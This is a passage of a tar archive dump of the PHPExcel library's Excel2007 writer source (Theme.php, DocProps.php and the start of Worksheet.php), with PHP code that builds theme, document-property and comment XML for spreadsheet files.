? 'visible' : 'hidden')); $objWriter->writeAttribute('fillcolor', '#' . $pComment->getFillColor()->getRGB()); $objWriter->writeAttribute('o:insetmode', 'auto'); // v:fill $objWriter->startElement('v:fill'); $objWriter->writeAttribute('color2', '#' . $pComment->getFillColor()->getRGB()); $objWriter->endElement(); // v:shadow $objWriter->startElement('v:shadow'); $objWriter->writeAttribute('on', 't'); $objWriter->writeAttribute('color', 'black'); $objWriter->writeAttribute('obscured', 't'); $objWriter->endElement(); // v:path $objWriter->startElement('v:path'); $objWriter->writeAttribute('o:connecttype', 'none'); $objWriter->endElement(); // v:textbox $objWriter->startElement('v:textbox'); $objWriter->writeAttribute('style', 'mso-direction-alt:auto'); // div $objWriter->startElement('div'); $objWriter->writeAttribute('style', 'text-align:left'); $objWriter->endElement(); $objWriter->endElement(); // x:ClientData $objWriter->startElement('x:ClientData'); $objWriter->writeAttribute('ObjectType', 'Note'); // x:MoveWithCells $objWriter->writeElement('x:MoveWithCells', ''); // x:SizeWithCells $objWriter->writeElement('x:SizeWithCells', ''); // x:Anchor //$objWriter->writeElement('x:Anchor', $column . ', 15, ' . ($row - 2) . ', 10, ' . ($column + 4) . ', 15, ' . ($row + 5) . ', 18'); // x:AutoFill $objWriter->writeElement('x:AutoFill', 'False'); // x:Row $objWriter->writeElement('x:Row', ($row - 1)); // x:Column $objWriter->writeElement('x:Column', ($column - 1)); $objWriter->endElement(); $objWriter->endElement(); } } PHPExcel/Writer/Excel2007/Theme.php 0000644 00000106535 14642534107 0012574 0 ustar 00 <?php /** * PHPExcel * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_Excel2007 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ /** * PHPExcel_Writer_Excel2007_Theme * * @category PHPExcel * @package PHPExcel_Writer_Excel2007 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) */ class PHPExcel_Writer_Excel2007_Theme extends PHPExcel_Writer_Excel2007_WriterPart { /** * Map of Major fonts to write * @static array of string * */ private static $majorFonts = array( 'Jpan' => 'MS Pゴシック', 'Hang' => '맑은 고딕', 'Hans' => '宋体', 'Hant' => '新細明體', 'Arab' => 'Times New Roman', 'Hebr' => 'Times New Roman', 'Thai' => 'Tahoma', 'Ethi' => 'Nyala', 'Beng' => 'Vrinda', 'Gujr' => 'Shruti', 'Khmr' => 'MoolBoran', 'Knda' => 'Tunga', 'Guru' => 'Raavi', 'Cans' => 'Euphemia', 'Cher' => 'Plantagenet Cherokee', 'Yiii' => 'Microsoft Yi Baiti', 'Tibt' => 'Microsoft Himalaya', 'Thaa' => 'MV Boli', 'Deva' => 'Mangal', 'Telu' => 'Gautami', 'Taml' => 'Latha', 'Syrc' => 'Estrangelo Edessa', 'Orya' => 'Kalinga', 'Mlym' => 'Kartika', 'Laoo' => 'DokChampa', 'Sinh' => 'Iskoola Pota', 'Mong' => 'Mongolian Baiti', 'Viet' => 'Times New Roman', 'Uigh' => 'Microsoft Uighur', 'Geor' => 'Sylfaen', ); /** * Map of Minor fonts to write * @static array of string * */ private static $minorFonts = array( 'Jpan' => 'MS Pゴシック', 'Hang' => '맑은 고딕', 'Hans' => '宋体', 'Hant' => '新細明體', 'Arab' => 'Arial', 'Hebr' => 'Arial', 'Thai' => 'Tahoma', 'Ethi' => 'Nyala', 'Beng' => 'Vrinda', 'Gujr' => 'Shruti', 'Khmr' => 'DaunPenh', 'Knda' => 'Tunga', 'Guru' => 'Raavi', 'Cans' => 'Euphemia', 'Cher' => 'Plantagenet Cherokee', 'Yiii' => 'Microsoft Yi Baiti', 'Tibt' => 'Microsoft Himalaya', 'Thaa' => 'MV Boli', 'Deva' => 'Mangal', 'Telu' => 'Gautami', 'Taml' => 'Latha', 'Syrc' => 'Estrangelo Edessa', 'Orya' => 'Kalinga', 'Mlym' => 'Kartika', 'Laoo' => 'DokChampa', 'Sinh' => 'Iskoola Pota', 'Mong' => 'Mongolian Baiti', 'Viet' => 'Arial', 'Uigh' => 'Microsoft Uighur', 'Geor' => 'Sylfaen', ); /** * Map of core colours * @static array of string * */ private static $colourScheme = array( 'dk2' => '1F497D', 'lt2' => 'EEECE1', 'accent1' => '4F81BD', 'accent2' => 'C0504D', 'accent3' => '9BBB59', 'accent4' => '8064A2', 'accent5' => '4BACC6', 'accent6' => 'F79646', 'hlink' => '0000FF', 'folHlink' => '800080', ); /** * Write theme to XML format * * @param PHPExcel $pPHPExcel * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function writeTheme(PHPExcel $pPHPExcel = null) { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // a:theme $objWriter->startElement('a:theme'); $objWriter->writeAttribute('xmlns:a', 'http://schemas.openxmlformats.org/drawingml/2006/main'); $objWriter->writeAttribute('name', 'Office Theme'); // a:themeElements $objWriter->startElement('a:themeElements'); // a:clrScheme $objWriter->startElement('a:clrScheme'); $objWriter->writeAttribute('name', 'Office'); // a:dk1 $objWriter->startElement('a:dk1'); // a:sysClr $objWriter->startElement('a:sysClr'); $objWriter->writeAttribute('val', 'windowText'); $objWriter->writeAttribute('lastClr', '000000'); $objWriter->endElement(); $objWriter->endElement(); // a:lt1 $objWriter->startElement('a:lt1'); // a:sysClr $objWriter->startElement('a:sysClr'); $objWriter->writeAttribute('val', 'window'); $objWriter->writeAttribute('lastClr', 'FFFFFF'); $objWriter->endElement(); $objWriter->endElement(); // a:dk2 $this->writeColourScheme($objWriter); $objWriter->endElement(); // a:fontScheme $objWriter->startElement('a:fontScheme'); $objWriter->writeAttribute('name', 'Office'); // a:majorFont $objWriter->startElement('a:majorFont'); $this->writeFonts($objWriter, 'Cambria', self::$majorFonts); $objWriter->endElement(); // a:minorFont $objWriter->startElement('a:minorFont'); $this->writeFonts($objWriter, 'Calibri', self::$minorFonts); $objWriter->endElement(); $objWriter->endElement(); // a:fmtScheme $objWriter->startElement('a:fmtScheme'); $objWriter->writeAttribute('name', 'Office'); // a:fillStyleLst $objWriter->startElement('a:fillStyleLst'); // a:solidFill $objWriter->startElement('a:solidFill'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); $objWriter->endElement(); $objWriter->endElement(); // a:gradFill $objWriter->startElement('a:gradFill'); $objWriter->writeAttribute('rotWithShape', '1'); // a:gsLst $objWriter->startElement('a:gsLst'); // a:gs $objWriter->startElement('a:gs'); $objWriter->writeAttribute('pos', '0'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); // a:tint $objWriter->startElement('a:tint'); $objWriter->writeAttribute('val', '50000'); $objWriter->endElement(); // a:satMod $objWriter->startElement('a:satMod'); $objWriter->writeAttribute('val', '300000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:gs $objWriter->startElement('a:gs'); $objWriter->writeAttribute('pos', '35000'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); // a:tint $objWriter->startElement('a:tint'); $objWriter->writeAttribute('val', '37000'); $objWriter->endElement(); // a:satMod $objWriter->startElement('a:satMod'); $objWriter->writeAttribute('val', '300000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:gs $objWriter->startElement('a:gs'); $objWriter->writeAttribute('pos', '100000'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); // a:tint $objWriter->startElement('a:tint'); $objWriter->writeAttribute('val', '15000'); $objWriter->endElement(); // a:satMod $objWriter->startElement('a:satMod'); $objWriter->writeAttribute('val', '350000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:lin $objWriter->startElement('a:lin'); $objWriter->writeAttribute('ang', '16200000'); $objWriter->writeAttribute('scaled', '1'); $objWriter->endElement(); $objWriter->endElement(); // a:gradFill $objWriter->startElement('a:gradFill'); $objWriter->writeAttribute('rotWithShape', '1'); // a:gsLst $objWriter->startElement('a:gsLst'); // a:gs $objWriter->startElement('a:gs'); $objWriter->writeAttribute('pos', '0'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); // a:shade $objWriter->startElement('a:shade'); $objWriter->writeAttribute('val', '51000'); $objWriter->endElement(); // a:satMod $objWriter->startElement('a:satMod'); $objWriter->writeAttribute('val', '130000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:gs $objWriter->startElement('a:gs'); $objWriter->writeAttribute('pos', '80000'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); // a:shade $objWriter->startElement('a:shade'); $objWriter->writeAttribute('val', '93000'); $objWriter->endElement(); // a:satMod $objWriter->startElement('a:satMod'); $objWriter->writeAttribute('val', '130000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:gs $objWriter->startElement('a:gs'); $objWriter->writeAttribute('pos', '100000'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); // a:shade $objWriter->startElement('a:shade'); $objWriter->writeAttribute('val', '94000'); $objWriter->endElement(); // a:satMod $objWriter->startElement('a:satMod'); $objWriter->writeAttribute('val', '135000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:lin $objWriter->startElement('a:lin'); $objWriter->writeAttribute('ang', '16200000'); $objWriter->writeAttribute('scaled', '0'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:lnStyleLst $objWriter->startElement('a:lnStyleLst'); // a:ln $objWriter->startElement('a:ln'); $objWriter->writeAttribute('w', '9525'); $objWriter->writeAttribute('cap', 'flat'); $objWriter->writeAttribute('cmpd', 'sng'); $objWriter->writeAttribute('algn', 'ctr'); // a:solidFill $objWriter->startElement('a:solidFill'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); // a:shade $objWriter->startElement('a:shade'); $objWriter->writeAttribute('val', '95000'); $objWriter->endElement(); // a:satMod $objWriter->startElement('a:satMod'); $objWriter->writeAttribute('val', '105000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:prstDash $objWriter->startElement('a:prstDash'); $objWriter->writeAttribute('val', 'solid'); $objWriter->endElement(); $objWriter->endElement(); // a:ln $objWriter->startElement('a:ln'); $objWriter->writeAttribute('w', '25400'); $objWriter->writeAttribute('cap', 'flat'); $objWriter->writeAttribute('cmpd', 'sng'); $objWriter->writeAttribute('algn', 'ctr'); // a:solidFill $objWriter->startElement('a:solidFill'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); $objWriter->endElement(); $objWriter->endElement(); // a:prstDash $objWriter->startElement('a:prstDash'); $objWriter->writeAttribute('val', 'solid'); $objWriter->endElement(); $objWriter->endElement(); // a:ln $objWriter->startElement('a:ln'); $objWriter->writeAttribute('w', '38100'); $objWriter->writeAttribute('cap', 'flat'); $objWriter->writeAttribute('cmpd', 'sng'); $objWriter->writeAttribute('algn', 'ctr'); // a:solidFill $objWriter->startElement('a:solidFill'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); $objWriter->endElement(); $objWriter->endElement(); // a:prstDash $objWriter->startElement('a:prstDash'); $objWriter->writeAttribute('val', 'solid'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:effectStyleLst $objWriter->startElement('a:effectStyleLst'); // a:effectStyle $objWriter->startElement('a:effectStyle'); // a:effectLst $objWriter->startElement('a:effectLst'); // a:outerShdw $objWriter->startElement('a:outerShdw'); $objWriter->writeAttribute('blurRad', '40000'); $objWriter->writeAttribute('dist', '20000'); $objWriter->writeAttribute('dir', '5400000'); $objWriter->writeAttribute('rotWithShape', '0'); // a:srgbClr $objWriter->startElement('a:srgbClr'); $objWriter->writeAttribute('val', '000000'); // a:alpha $objWriter->startElement('a:alpha'); $objWriter->writeAttribute('val', '38000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:effectStyle $objWriter->startElement('a:effectStyle'); // a:effectLst $objWriter->startElement('a:effectLst'); // a:outerShdw $objWriter->startElement('a:outerShdw'); $objWriter->writeAttribute('blurRad', '40000'); $objWriter->writeAttribute('dist', '23000'); $objWriter->writeAttribute('dir', '5400000'); $objWriter->writeAttribute('rotWithShape', '0'); // a:srgbClr $objWriter->startElement('a:srgbClr'); $objWriter->writeAttribute('val', '000000'); // a:alpha $objWriter->startElement('a:alpha'); $objWriter->writeAttribute('val', '35000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:effectStyle $objWriter->startElement('a:effectStyle'); // a:effectLst $objWriter->startElement('a:effectLst'); // a:outerShdw $objWriter->startElement('a:outerShdw'); $objWriter->writeAttribute('blurRad', '40000'); $objWriter->writeAttribute('dist', '23000'); $objWriter->writeAttribute('dir', '5400000'); $objWriter->writeAttribute('rotWithShape', '0'); // a:srgbClr $objWriter->startElement('a:srgbClr'); $objWriter->writeAttribute('val', '000000'); // a:alpha $objWriter->startElement('a:alpha'); $objWriter->writeAttribute('val', '35000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:scene3d $objWriter->startElement('a:scene3d'); // a:camera $objWriter->startElement('a:camera'); $objWriter->writeAttribute('prst', 'orthographicFront'); // a:rot $objWriter->startElement('a:rot'); $objWriter->writeAttribute('lat', '0'); $objWriter->writeAttribute('lon', '0'); $objWriter->writeAttribute('rev', '0'); $objWriter->endElement(); $objWriter->endElement(); // a:lightRig $objWriter->startElement('a:lightRig'); $objWriter->writeAttribute('rig', 'threePt'); $objWriter->writeAttribute('dir', 't'); // a:rot $objWriter->startElement('a:rot'); $objWriter->writeAttribute('lat', '0'); $objWriter->writeAttribute('lon', '0'); $objWriter->writeAttribute('rev', '1200000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:sp3d $objWriter->startElement('a:sp3d'); // a:bevelT $objWriter->startElement('a:bevelT'); $objWriter->writeAttribute('w', '63500'); $objWriter->writeAttribute('h', '25400'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:bgFillStyleLst $objWriter->startElement('a:bgFillStyleLst'); // a:solidFill $objWriter->startElement('a:solidFill'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); $objWriter->endElement(); $objWriter->endElement(); // a:gradFill $objWriter->startElement('a:gradFill'); $objWriter->writeAttribute('rotWithShape', '1'); // a:gsLst $objWriter->startElement('a:gsLst'); // a:gs $objWriter->startElement('a:gs'); $objWriter->writeAttribute('pos', '0'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); // a:tint $objWriter->startElement('a:tint'); $objWriter->writeAttribute('val', '40000'); $objWriter->endElement(); // a:satMod $objWriter->startElement('a:satMod'); $objWriter->writeAttribute('val', '350000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:gs $objWriter->startElement('a:gs'); $objWriter->writeAttribute('pos', '40000'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); // a:tint $objWriter->startElement('a:tint'); $objWriter->writeAttribute('val', '45000'); $objWriter->endElement(); // a:shade $objWriter->startElement('a:shade'); $objWriter->writeAttribute('val', '99000'); $objWriter->endElement(); // a:satMod $objWriter->startElement('a:satMod'); $objWriter->writeAttribute('val', '350000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:gs $objWriter->startElement('a:gs'); $objWriter->writeAttribute('pos', '100000'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); // a:shade $objWriter->startElement('a:shade'); $objWriter->writeAttribute('val', '20000'); $objWriter->endElement(); // a:satMod $objWriter->startElement('a:satMod'); $objWriter->writeAttribute('val', '255000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:path $objWriter->startElement('a:path'); $objWriter->writeAttribute('path', 'circle'); // a:fillToRect $objWriter->startElement('a:fillToRect'); $objWriter->writeAttribute('l', '50000'); $objWriter->writeAttribute('t', '-80000'); $objWriter->writeAttribute('r', '50000'); $objWriter->writeAttribute('b', '180000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:gradFill $objWriter->startElement('a:gradFill'); $objWriter->writeAttribute('rotWithShape', '1'); // a:gsLst $objWriter->startElement('a:gsLst'); // a:gs $objWriter->startElement('a:gs'); $objWriter->writeAttribute('pos', '0'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); // a:tint $objWriter->startElement('a:tint'); $objWriter->writeAttribute('val', '80000'); $objWriter->endElement(); // a:satMod $objWriter->startElement('a:satMod'); $objWriter->writeAttribute('val', '300000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:gs $objWriter->startElement('a:gs'); $objWriter->writeAttribute('pos', '100000'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); // a:shade $objWriter->startElement('a:shade'); $objWriter->writeAttribute('val', '30000'); $objWriter->endElement(); // a:satMod $objWriter->startElement('a:satMod'); $objWriter->writeAttribute('val', '200000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:path $objWriter->startElement('a:path'); $objWriter->writeAttribute('path', 'circle'); // a:fillToRect $objWriter->startElement('a:fillToRect'); $objWriter->writeAttribute('l', '50000'); $objWriter->writeAttribute('t', '50000'); $objWriter->writeAttribute('r', '50000'); $objWriter->writeAttribute('b', '50000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:objectDefaults $objWriter->writeElement('a:objectDefaults', null); // a:extraClrSchemeLst $objWriter->writeElement('a:extraClrSchemeLst', null); $objWriter->endElement(); // Return return $objWriter->getData(); } /** * Write fonts to XML format * * @param PHPExcel_Shared_XMLWriter $objWriter * @param string $latinFont * @param array of string $fontSet * @return string XML Output * @throws PHPExcel_Writer_Exception */ private function writeFonts($objWriter, $latinFont, $fontSet) { // a:latin $objWriter->startElement('a:latin'); $objWriter->writeAttribute('typeface', $latinFont); $objWriter->endElement(); // a:ea $objWriter->startElement('a:ea'); $objWriter->writeAttribute('typeface', ''); $objWriter->endElement(); // a:cs $objWriter->startElement('a:cs'); $objWriter->writeAttribute('typeface', ''); $objWriter->endElement(); foreach ($fontSet as $fontScript => $typeface) { $objWriter->startElement('a:font'); $objWriter->writeAttribute('script', $fontScript); $objWriter->writeAttribute('typeface', $typeface); $objWriter->endElement(); } } /** * Write colour scheme to XML format * * @param PHPExcel_Shared_XMLWriter $objWriter * @return string XML Output * @throws PHPExcel_Writer_Exception */ private function writeColourScheme($objWriter) { foreach (self::$colourScheme as $colourName => $colourValue) { $objWriter->startElement('a:'.$colourName); $objWriter->startElement('a:srgbClr'); $objWriter->writeAttribute('val', $colourValue); $objWriter->endElement(); $objWriter->endElement(); } } } PHPExcel/Writer/Excel2007/DocProps.php 0000644 00000023134 14642534107 0013254 0 ustar 00 <?php /** * PHPExcel_Writer_Excel2007_DocProps * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_Excel2007 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_Excel2007_DocProps extends PHPExcel_Writer_Excel2007_WriterPart { /** * Write docProps/app.xml to XML format * * @param PHPExcel $pPHPExcel * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function writeDocPropsApp(PHPExcel $pPHPExcel = null) { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Properties $objWriter->startElement('Properties'); $objWriter->writeAttribute('xmlns', 'http://schemas.openxmlformats.org/officeDocument/2006/extended-properties'); $objWriter->writeAttribute('xmlns:vt', 'http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes'); // Application $objWriter->writeElement('Application', 'Microsoft Excel'); // DocSecurity $objWriter->writeElement('DocSecurity', '0'); // ScaleCrop $objWriter->writeElement('ScaleCrop', 'false'); // HeadingPairs $objWriter->startElement('HeadingPairs'); // Vector $objWriter->startElement('vt:vector'); $objWriter->writeAttribute('size', '2'); $objWriter->writeAttribute('baseType', 'variant'); // Variant $objWriter->startElement('vt:variant'); $objWriter->writeElement('vt:lpstr', 'Worksheets'); $objWriter->endElement(); // Variant $objWriter->startElement('vt:variant'); $objWriter->writeElement('vt:i4', $pPHPExcel->getSheetCount()); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // TitlesOfParts $objWriter->startElement('TitlesOfParts'); // Vector $objWriter->startElement('vt:vector'); $objWriter->writeAttribute('size', $pPHPExcel->getSheetCount()); $objWriter->writeAttribute('baseType', 'lpstr'); $sheetCount = $pPHPExcel->getSheetCount(); for ($i = 0; $i < $sheetCount; ++$i) { $objWriter->writeElement('vt:lpstr', $pPHPExcel->getSheet($i)->getTitle()); } $objWriter->endElement(); $objWriter->endElement(); // Company $objWriter->writeElement('Company', $pPHPExcel->getProperties()->getCompany()); // Company $objWriter->writeElement('Manager', $pPHPExcel->getProperties()->getManager()); // LinksUpToDate $objWriter->writeElement('LinksUpToDate', 'false'); // SharedDoc $objWriter->writeElement('SharedDoc', 'false'); // HyperlinksChanged $objWriter->writeElement('HyperlinksChanged', 'false'); // AppVersion $objWriter->writeElement('AppVersion', '12.0000'); $objWriter->endElement(); // Return return $objWriter->getData(); } /** * Write docProps/core.xml to XML format * * @param PHPExcel $pPHPExcel * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function writeDocPropsCore(PHPExcel $pPHPExcel = null) { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // cp:coreProperties $objWriter->startElement('cp:coreProperties'); $objWriter->writeAttribute('xmlns:cp', 'http://schemas.openxmlformats.org/package/2006/metadata/core-properties'); $objWriter->writeAttribute('xmlns:dc', 'http://purl.org/dc/elements/1.1/'); $objWriter->writeAttribute('xmlns:dcterms', 'http://purl.org/dc/terms/'); $objWriter->writeAttribute('xmlns:dcmitype', 'http://purl.org/dc/dcmitype/'); $objWriter->writeAttribute('xmlns:xsi', 'http://www.w3.org/2001/XMLSchema-instance'); // dc:creator $objWriter->writeElement('dc:creator', $pPHPExcel->getProperties()->getCreator()); // cp:lastModifiedBy $objWriter->writeElement('cp:lastModifiedBy', $pPHPExcel->getProperties()->getLastModifiedBy()); // dcterms:created $objWriter->startElement('dcterms:created'); $objWriter->writeAttribute('xsi:type', 'dcterms:W3CDTF'); $objWriter->writeRawData(date(DATE_W3C, $pPHPExcel->getProperties()->getCreated())); $objWriter->endElement(); // dcterms:modified $objWriter->startElement('dcterms:modified'); $objWriter->writeAttribute('xsi:type', 'dcterms:W3CDTF'); $objWriter->writeRawData(date(DATE_W3C, $pPHPExcel->getProperties()->getModified())); $objWriter->endElement(); // dc:title $objWriter->writeElement('dc:title', $pPHPExcel->getProperties()->getTitle()); // dc:description $objWriter->writeElement('dc:description', $pPHPExcel->getProperties()->getDescription()); // dc:subject $objWriter->writeElement('dc:subject', $pPHPExcel->getProperties()->getSubject()); // cp:keywords $objWriter->writeElement('cp:keywords', $pPHPExcel->getProperties()->getKeywords()); // cp:category $objWriter->writeElement('cp:category', $pPHPExcel->getProperties()->getCategory()); $objWriter->endElement(); // Return return $objWriter->getData(); } /** * Write docProps/custom.xml to XML format * * @param PHPExcel $pPHPExcel * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function writeDocPropsCustom(PHPExcel $pPHPExcel = null) { $customPropertyList = $pPHPExcel->getProperties()->getCustomProperties(); if (empty($customPropertyList)) { return; } // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // cp:coreProperties $objWriter->startElement('Properties'); $objWriter->writeAttribute('xmlns', 'http://schemas.openxmlformats.org/officeDocument/2006/custom-properties'); $objWriter->writeAttribute('xmlns:vt', 'http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes'); foreach ($customPropertyList as $key => $customProperty) { $propertyValue = $pPHPExcel->getProperties()->getCustomPropertyValue($customProperty); $propertyType = $pPHPExcel->getProperties()->getCustomPropertyType($customProperty); $objWriter->startElement('property'); $objWriter->writeAttribute('fmtid', '{D5CDD505-2E9C-101B-9397-08002B2CF9AE}'); $objWriter->writeAttribute('pid', $key+2); $objWriter->writeAttribute('name', $customProperty); switch ($propertyType) { case 'i': $objWriter->writeElement('vt:i4', $propertyValue); break; case 'f': $objWriter->writeElement('vt:r8', $propertyValue); break; case 'b': $objWriter->writeElement('vt:bool', ($propertyValue) ? 'true' : 'false'); break; case 'd': $objWriter->startElement('vt:filetime'); $objWriter->writeRawData(date(DATE_W3C, $propertyValue)); $objWriter->endElement(); break; default: $objWriter->writeElement('vt:lpwstr', $propertyValue); break; } $objWriter->endElement(); } $objWriter->endElement(); return $objWriter->getData(); } } PHPExcel/Writer/Excel2007/Worksheet.php 0000644 00000153714 14642534107 0013506 0 ustar 00 <?php /** * PHPExcel * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_Excel2007 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ /** * PHPExcel_Writer_Excel2007_Worksheet * * @category PHPExcel * @package PHPExcel_Writer_Excel2007 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) */ class PHPExcel_Writer_Excel2007_Worksheet extends PHPExcel_Writer_Excel2007_WriterPart { /** * Write worksheet to XML format * * @param PHPExcel_Worksheet $pSheet * @param string[] $pStringTable * @param boolean $includeCharts Flag indicating if we should write charts * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function writeWorksheet($pSheet = null, $pStringTable = null, $includeCharts = false) { if (!is_null($pSheet)) { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new 